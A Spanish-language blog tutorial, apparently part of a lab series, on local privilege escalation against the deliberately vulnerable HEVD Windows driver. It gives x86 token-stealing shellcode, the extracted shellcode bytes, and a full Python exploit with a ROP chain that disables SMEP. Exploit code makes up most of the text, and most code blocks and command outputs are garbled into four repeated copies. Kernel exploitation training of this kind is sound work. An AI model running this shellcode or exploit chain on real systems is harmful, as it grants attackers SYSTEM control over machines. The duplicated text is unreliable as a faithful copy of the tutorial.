Tabla de contenidos

Title
Tabla de contenidos
Tabla de contenidos
Title

Ataques

HEVD: Local privilege escalation

cover-hevd-privilege-escalation
Andres Roldan

VP of Hacking

10 min

Este es el cuarto artículo de nuestra serie sobre la explotación del kernel de Windows, utilizando como objetivo el controlador «HackSys Extremely Vulnerable Driverr» (HEVD). En los artículos anteriores, hemos abordado:

  • La configuración del laboratorio, describiendo las herramientas y el entorno necesarios para realizar la depuración (debugging) del kernel de Windows.

  • La denegación de servicio (DoS), mediante la cual llevamos a cabo un ataque inicial contra HEVD.

  • La elusión exitosa de kASLR SMEP, lo que nos permitió ejecutar un shellcode sencillo en modo kernel.

En este artículo, lograremos obtener una shell con privilegios de sistema (SYSTEM), realizando una escalada de privilegios local mediante el robo de tokens de seguridad. Asimismo, será necesario reanudar correctamente la ejecución del sistema operativo tras el ataque, a fin de evitar cualquier bloqueo o fallo del sistema.

Robo de tokens de seguridad

Al atacar el kernel, se asume que contamos con acceso sin privilegios a la máquina objetivo. Por ello, el objetivo habitual de un exploit es llevar a cabo una «escalada de privilegios local» (Local Privilege Escalation), lo que implica obtener privilegios completos en el sistema operativo. Existen diversos métodos para lograrlo; la mayoría de ellos se aprovechan —o abusan— del modelo de privilegios implementado en Windows.

En Windows, al iniciar el sistema, se crea un proceso denominado «System», el cual siempre tiene el PID 4. Dado que este proceso pertenece al usuario SYSTEM, lo utilizaremos como proceso objetivo del cual sustraer el token.

NT Kernel & System

Cada proceso tiene una estructura EPROCESS.

EPROCESS structure

Uno de los elementos de esa estructura es el «token», que consiste en un ticket otorgado por el proceso LSASS.

Token LSASS

El token se utiliza para realizar operaciones en el sistema basándose en los permisos que tiene asignados. Por ejemplo, si un proceso desea leer un archivo, el descriptor de seguridad de dicho archivo verificará si el token del proceso cuenta con los permisos necesarios para realizar la operación. Esto es lo que se conoce como Lista de Control de Acceso Discrecional (DACL, por sus siglas en inglés).

En Windows, el token SYSTEM posee todos los permisos sobre los objetos del sistema (archivos, procesos, dispositivos, tuberías, etc.). Por ello, si logramos sustraer dicho token e insertarlo en un proceso sin privilegios, este adquirirá privilegios de nivel SYSTEM.

Para lograrlo, primero debemos obtener el desplazamiento (offset) del campo «Token» dentro de la estructura EPROCESS:

Get the offset of EPROCESS

Como puede ver, se trata de un _PROCESS+0x0fc. Con esto, necesitamos obtener el descriptor del proceso SYSTEM:

Get SYSTEM process descriptor

A continuación, debemos obtener el valor del token para el proceso SYSTEM:

SYSTEM process token

Ahora, iniciamos un proceso cmd.exe en el sistema operativo objetivo y obtenemos los privilegios actuales:

Obtaining privileges

Debemos obtener el descriptor del proceso cmd.exe:

cmd process descriptor

Por último, debemos copiar el valor del token del proceso SYSTEM al proceso cmd.exe. Veámoslo en acción:

Copying token to cmd

¡Genial! Como puedes ver, nuestro cmd.exe se está ejecutando ahora como nt authority\system.

⚠️ Nota: Debemos tener en cuenta que los desplazamientos (offsets) descritos en este artículo solo son aplicables a la versión de Windows que estamos utilizando actualmente: Windows 10 1703 de 32 bits.

Ahora, debemos realizar este proceso mediante programación si queremos incluirlo en nuestro exploit. La estrategia es la siguiente:

  • Buscar un punto de partida fijo que podamos utilizar para calcular desplazamientos (offsets), empleando código independiente de la posición.

  • Obtener la lista de procesos actual.

  • Localizar el proceso cmd.exe.

  • Localizar el proceso SYSTEM (con PID 4).

  • Obtener el token del proceso SYSTEM.

  • Copiar el token del proceso SYSTEM al proceso cmd.exe.

  • Restaurar la ejecución.

  • ¡Disfruta!

El primer paso consiste en encontrar una posición fija a partir de la cual podamos obtener las estructuras necesarias mediante un desplazamiento (offset). Según esta referencia, es posible acceder a la estructura _NT_TIB a través del selector de segmento fs. Esta estructura contiene información sobre el hilo (thread) que se está ejecutando actualmente (en nuestro caso, el exploit). El artículo también indica que podemos acceder a la estructura _KTHREAD en la dirección fs+0x124. Con esto, podemos empezar a escribir código en lenguaje ensamblador:

pushad                                  ; Save current registers
mov eax, dword fs:[0x124]               ; EAX now points to _KTHREAD
pushad                                  ; Save current registers
mov eax, dword fs:[0x124]               ; EAX now points to _KTHREAD
pushad                                  ; Save current registers
mov eax, dword fs:[0x124]               ; EAX now points to _KTHREAD
pushad                                  ; Save current registers
mov eax, dword fs:[0x124]               ; EAX now points to _KTHREAD

En la estructura _KTHREAD podemos encontrar un desplazamiento hacia _KPROCESS.

_KTHREAD Process

Resulta que _KPROCESS es el primer campo de _EPROCESS, lo que significa que podemos acceder a la estructura _EPROCESS en _KTHREAD+0x150:

pushad                                  ; Save current registers
mov eax, dword fs:[0x124]               ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]              ; EAX now points to _EPROCESS
pushad                                  ; Save current registers
mov eax, dword fs:[0x124]               ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]              ; EAX now points to _EPROCESS
pushad                                  ; Save current registers
mov eax, dword fs:[0x124]               ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]              ; EAX now points to _EPROCESS
pushad                                  ; Save current registers
mov eax, dword fs:[0x124]               ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]              ; EAX now points to _EPROCESS

La estructura _EPROCESS contiene los desplazamientos necesarios para acceder a otra información requerida:

_EPROCESS+0x0b8 apunta a ActiveProcessLinks, que es una lista enlazada que contiene los procesos que se están ejecutando actualmente, y _EPROCESS+0x0b4 apunta al PID del proceso actual:

Current PID

_EPROCESS+0x140 apunta a InheritedFromUniqueProcessId, que contendrá el PID del proceso padre; en nuestro caso, el PID de cmd.exe.

Parent Process PID

Dicho esto, necesitamos guardar el PID de cmd.exe:

pushad                                  ; Save current registers
mov eax, dword fs:[0x124]               ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]              ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140]              ; EDX now points to cmd.exe PID
pushad                                  ; Save current registers
mov eax, dword fs:[0x124]               ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]              ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140]              ; EDX now points to cmd.exe PID
pushad                                  ; Save current registers
mov eax, dword fs:[0x124]               ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]              ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140]              ; EDX now points to cmd.exe PID
pushad                                  ; Save current registers
mov eax, dword fs:[0x124]               ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]              ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140]              ; EDX now points to cmd.exe PID

Ahora debemos recorrer la lista enlazada de procesos activos para encontrar la estructura EPROCESS correspondiente al proceso cmd.exe:

pushad                                  ; Save current registers
mov eax, dword [fs:0x124]               ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]              ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140]              ; EDX now points to cmd.exe PID
mov ecx, eax                            ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx              ; Check if this entry belongs to `cmd.exe`
jne find_cmd                            ; If not, go to the next entry of ActiveProcessLinks
pushad                                  ; Save current registers
mov eax, dword [fs:0x124]               ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]              ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140]              ; EDX now points to cmd.exe PID
mov ecx, eax                            ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx              ; Check if this entry belongs to `cmd.exe`
jne find_cmd                            ; If not, go to the next entry of ActiveProcessLinks
pushad                                  ; Save current registers
mov eax, dword [fs:0x124]               ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]              ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140]              ; EDX now points to cmd.exe PID
mov ecx, eax                            ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx              ; Check if this entry belongs to `cmd.exe`
jne find_cmd                            ; If not, go to the next entry of ActiveProcessLinks
pushad                                  ; Save current registers
mov eax, dword [fs:0x124]               ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]              ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140]              ; EDX now points to cmd.exe PID
mov ecx, eax                            ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx              ; Check if this entry belongs to `cmd.exe`
jne find_cmd                            ; If not, go to the next entry of ActiveProcessLinks

A continuación, localiza la estructura EPROCESS correspondiente al proceso SYSTEM:

pushad                                  ; Save current registers
mov eax, dword [fs:0x124]               ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]              ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140]              ; EDX now points to cmd.exe PID
mov ecx, eax                            ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx              ; Check if this entry belongs to `cmd.exe`
jne find_cmd                            ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx                            ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax                            ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4                ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system                         ; If not, go to the next entry of ActiveProcessLinks
pushad                                  ; Save current registers
mov eax, dword [fs:0x124]               ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]              ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140]              ; EDX now points to cmd.exe PID
mov ecx, eax                            ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx              ; Check if this entry belongs to `cmd.exe`
jne find_cmd                            ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx                            ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax                            ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4                ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system                         ; If not, go to the next entry of ActiveProcessLinks
pushad                                  ; Save current registers
mov eax, dword [fs:0x124]               ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]              ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140]              ; EDX now points to cmd.exe PID
mov ecx, eax                            ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx              ; Check if this entry belongs to `cmd.exe`
jne find_cmd                            ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx                            ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax                            ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4                ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system                         ; If not, go to the next entry of ActiveProcessLinks
pushad                                  ; Save current registers
mov eax, dword [fs:0x124]               ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]              ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140]              ; EDX now points to cmd.exe PID
mov ecx, eax                            ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx              ; Check if this entry belongs to `cmd.exe`
jne find_cmd                            ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx                            ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax                            ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4                ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system                         ; If not, go to the next entry of ActiveProcessLinks

A continuación, debemos mover el token de SYSTEM a cmd.exe:

pushad                                  ; Save current registers
mov eax, dword [fs:0x124]               ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]              ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140]              ; EDX now points to cmd.exe PID
mov ecx, eax                            ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx              ; Check if this entry belongs to `cmd.exe`
jne find_cmd                            ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx                            ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax                            ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4                ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system                         ; If not, go to the next entry of ActiveProcessLinks
add ecx, 0x0fc                          ; ECX now points to the Token of SYSTEM
mov ecx, [ecx]                          ; Copy contents of Token to ECX
mov [edi+0x0fc], ecx                    ; Move the Token of SYSTEM to cmd.exe
pushad                                  ; Save current registers
mov eax, dword [fs:0x124]               ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]              ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140]              ; EDX now points to cmd.exe PID
mov ecx, eax                            ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx              ; Check if this entry belongs to `cmd.exe`
jne find_cmd                            ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx                            ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax                            ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4                ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system                         ; If not, go to the next entry of ActiveProcessLinks
add ecx, 0x0fc                          ; ECX now points to the Token of SYSTEM
mov ecx, [ecx]                          ; Copy contents of Token to ECX
mov [edi+0x0fc], ecx                    ; Move the Token of SYSTEM to cmd.exe
pushad                                  ; Save current registers
mov eax, dword [fs:0x124]               ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]              ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140]              ; EDX now points to cmd.exe PID
mov ecx, eax                            ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx              ; Check if this entry belongs to `cmd.exe`
jne find_cmd                            ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx                            ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax                            ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4                ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system                         ; If not, go to the next entry of ActiveProcessLinks
add ecx, 0x0fc                          ; ECX now points to the Token of SYSTEM
mov ecx, [ecx]                          ; Copy contents of Token to ECX
mov [edi+0x0fc], ecx                    ; Move the Token of SYSTEM to cmd.exe
pushad                                  ; Save current registers
mov eax, dword [fs:0x124]               ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]              ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140]              ; EDX now points to cmd.exe PID
mov ecx, eax                            ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx              ; Check if this entry belongs to `cmd.exe`
jne find_cmd                            ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx                            ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax                            ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4                ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system                         ; If not, go to the next entry of ActiveProcessLinks
add ecx, 0x0fc                          ; ECX now points to the Token of SYSTEM
mov ecx, [ecx]                          ; Copy contents of Token to ECX
mov [edi+0x0fc], ecx                    ; Move the Token of SYSTEM to cmd.exe

Y, finalmente, se restaura la ejecución. Dado que estamos escribiendo en la pila, es muy probable que hayamos alterado los marcos de pila (stack frames) inmediatos de las funciones que realizaron la llamada. Si examinamos la pila tras la ejecución del shellcode, podemos observar que existe un marco de pila al cual es posible retornar, ubicado en esp+0x10:

esp+0x10

Con esto, podemos añadir un punto de restauración a nuestro shellcode:

pushad
mov eax, dword [fs:0x124]               ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]              ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140]              ; EDX now points to cmd.exe PID
mov ecx, eax                            ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx              ; Check if this entry belongs to `cmd.exe`
jne find_cmd                            ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx                            ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax                            ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4                ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system                         ; If not, go to the next entry of ActiveProcessLinks
add ecx, 0x0fc                          ; ECX now points to the Token of SYSTEM
mov ecx, [ecx]                          ; Copy contents of Token to ECX
mov [edi+0x0fc], ecx                    ; Move the Token of SYSTEM to cmd.exe
popad                                   ; Restore
xor eax,eax
inc eax
add esp,0x10
pop ebp
ret 8
pushad
mov eax, dword [fs:0x124]               ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]              ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140]              ; EDX now points to cmd.exe PID
mov ecx, eax                            ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx              ; Check if this entry belongs to `cmd.exe`
jne find_cmd                            ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx                            ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax                            ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4                ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system                         ; If not, go to the next entry of ActiveProcessLinks
add ecx, 0x0fc                          ; ECX now points to the Token of SYSTEM
mov ecx, [ecx]                          ; Copy contents of Token to ECX
mov [edi+0x0fc], ecx                    ; Move the Token of SYSTEM to cmd.exe
popad                                   ; Restore
xor eax,eax
inc eax
add esp,0x10
pop ebp
ret 8
pushad
mov eax, dword [fs:0x124]               ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]              ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140]              ; EDX now points to cmd.exe PID
mov ecx, eax                            ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx              ; Check if this entry belongs to `cmd.exe`
jne find_cmd                            ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx                            ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax                            ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4                ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system                         ; If not, go to the next entry of ActiveProcessLinks
add ecx, 0x0fc                          ; ECX now points to the Token of SYSTEM
mov ecx, [ecx]                          ; Copy contents of Token to ECX
mov [edi+0x0fc], ecx                    ; Move the Token of SYSTEM to cmd.exe
popad                                   ; Restore
xor eax,eax
inc eax
add esp,0x10
pop ebp
ret 8
pushad
mov eax, dword [fs:0x124]               ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]              ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140]              ; EDX now points to cmd.exe PID
mov ecx, eax                            ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx              ; Check if this entry belongs to `cmd.exe`
jne find_cmd                            ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx                            ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax                            ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8]              ; ECX points to ActiveProcessLinks
                                        ; of current process
sub ecx, 0x0b8                          ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4                ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system                         ; If not, go to the next entry of ActiveProcessLinks
add ecx, 0x0fc                          ; ECX now points to the Token of SYSTEM
mov ecx, [ecx]                          ; Copy contents of Token to ECX
mov [edi+0x0fc], ecx                    ; Move the Token of SYSTEM to cmd.exe
popad                                   ; Restore
xor eax,eax
inc eax
add esp,0x10
pop ebp
ret 8

Ahora, podemos compilar ese código con:

> nasm -f elf32 -o steal.o steal.asm
> nasm -f elf32 -o steal.o steal.asm
> nasm -f elf32 -o steal.o steal.asm
> nasm -f elf32 -o steal.o steal.asm

Y obtén el shellcode con:

$ for i in $(objdump -d steal.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\x60\x64\xa1\x24\x01\x00\x00\x8b\x80\x50\x01\x00\x00\x8b\x90\x40\x01\x00\x00
\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00\x39\x91\xb4\x00\x00
\x00\x75\xec\x89\xcf\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00
\x83\xb9\xb4\x00\x00\x00\x04\x75\xeb\x81\xc1\xfc\x00\x00\x00\x8b\x09\x89\x8f
\xfc\x00\x00\x00\x61\x31\xc0\x40\x83\xc4\x10\x5d\xc2\x08\x00
$ for i in $(objdump -d steal.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\x60\x64\xa1\x24\x01\x00\x00\x8b\x80\x50\x01\x00\x00\x8b\x90\x40\x01\x00\x00
\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00\x39\x91\xb4\x00\x00
\x00\x75\xec\x89\xcf\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00
\x83\xb9\xb4\x00\x00\x00\x04\x75\xeb\x81\xc1\xfc\x00\x00\x00\x8b\x09\x89\x8f
\xfc\x00\x00\x00\x61\x31\xc0\x40\x83\xc4\x10\x5d\xc2\x08\x00
$ for i in $(objdump -d steal.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\x60\x64\xa1\x24\x01\x00\x00\x8b\x80\x50\x01\x00\x00\x8b\x90\x40\x01\x00\x00
\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00\x39\x91\xb4\x00\x00
\x00\x75\xec\x89\xcf\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00
\x83\xb9\xb4\x00\x00\x00\x04\x75\xeb\x81\xc1\xfc\x00\x00\x00\x8b\x09\x89\x8f
\xfc\x00\x00\x00\x61\x31\xc0\x40\x83\xc4\x10\x5d\xc2\x08\x00
$ for i in $(objdump -d steal.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\x60\x64\xa1\x24\x01\x00\x00\x8b\x80\x50\x01\x00\x00\x8b\x90\x40\x01\x00\x00
\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00\x39\x91\xb4\x00\x00
\x00\x75\xec\x89\xcf\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00
\x83\xb9\xb4\x00\x00\x00\x04\x75\xeb\x81\xc1\xfc\x00\x00\x00\x8b\x09\x89\x8f
\xfc\x00\x00\x00\x61\x31\xc0\x40\x83\xc4\x10\x5d\xc2\x08\x00

Tomemos el exploit de la publicación anterior y actualicemos el shellcode. También he añadido algunas llamadas de impresión (print) que ayudan a identificar en qué etapa del exploit nos encontramos:

#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-privilege-escalation/
"""

import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl

KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003


def get_kernel_base():
    """Obtain kernel base address."""
    buff_size = 0x4

    base = (c_ulong * buff_size)(0)

    if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
        print('Failed to get kernel base address.')
        sys.exit(1)
    return base[0]


BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')

SHELLCODE = (
    b'\x60\x64\xa1\x24\x01\x00\x00\x8b\x80\x50\x01\x00\x00\x8b\x90\x40\x01'
    b'\x00\x00\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00\x39'
    b'\x91\xb4\x00\x00\x00\x75\xec\x89\xcf\x89\xc1\x8b\x89\xb8\x00\x00\x00'
    b'\x81\xe9\xb8\x00\x00\x00\x83\xb9\xb4\x00\x00\x00\x04\x75\xeb\x81\xc1'
    b'\xfc\x00\x00\x00\x8b\x09\x89\x8f\xfc\x00\x00\x00\x61\x31\xc0\x40\x83'
    b'\xc4\x10\x5d\xc2\x08\x00'
)

print('Allocating memory for shellcode...')
RET_PTR = KERNEL32.VirtualAlloc(
    c_int(0),                    # lpAddress
    c_int(len(SHELLCODE)),       # dwSize
    c_int(0x3000),               # flAllocationType = MEM_COMMIT | MEM_RESERVE
    c_int(0x40)                  # flProtect = PAGE_EXECUTE_READWRITE
)

print('Moving shellcode to heap...')
KERNEL32.RtlMoveMemory(
    c_int(RET_PTR),              # Destination
    SHELLCODE,                   # Source
    c_int(len(SHELLCODE))        # Length
)

print('Creating ROP chain...')
ROP_CHAIN = (
    struct.pack('<L', BASE_ADDRESS + 0x0002bbef) +     #  pop eax # ret
    struct.pack('<L', 0x42424242) +                    #  Padding for ret 8
    struct.pack('<L', 0x42424242) +                    #
    struct.pack('<L', 0x000406e9) +                    #  Value to disable SMEP
    struct.pack('<L', BASE_ADDRESS + 0x0011f8de) +     #  mov cr4, eax # ret
    struct.pack('<L', RET_PTR)                         #  Pointer to shellcode
)

PAYLOAD = (
    b'A' * 2080 +
    ROP_CHAIN
)

SIZE = len(PAYLOAD)

print('Opening driver handle...')
HANDLE = DeviceIoControl(DEVICE_NAME)
print('Sending payload...')
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
print('Done.')

sys.exit(0)
#!/usr/bin/env python3
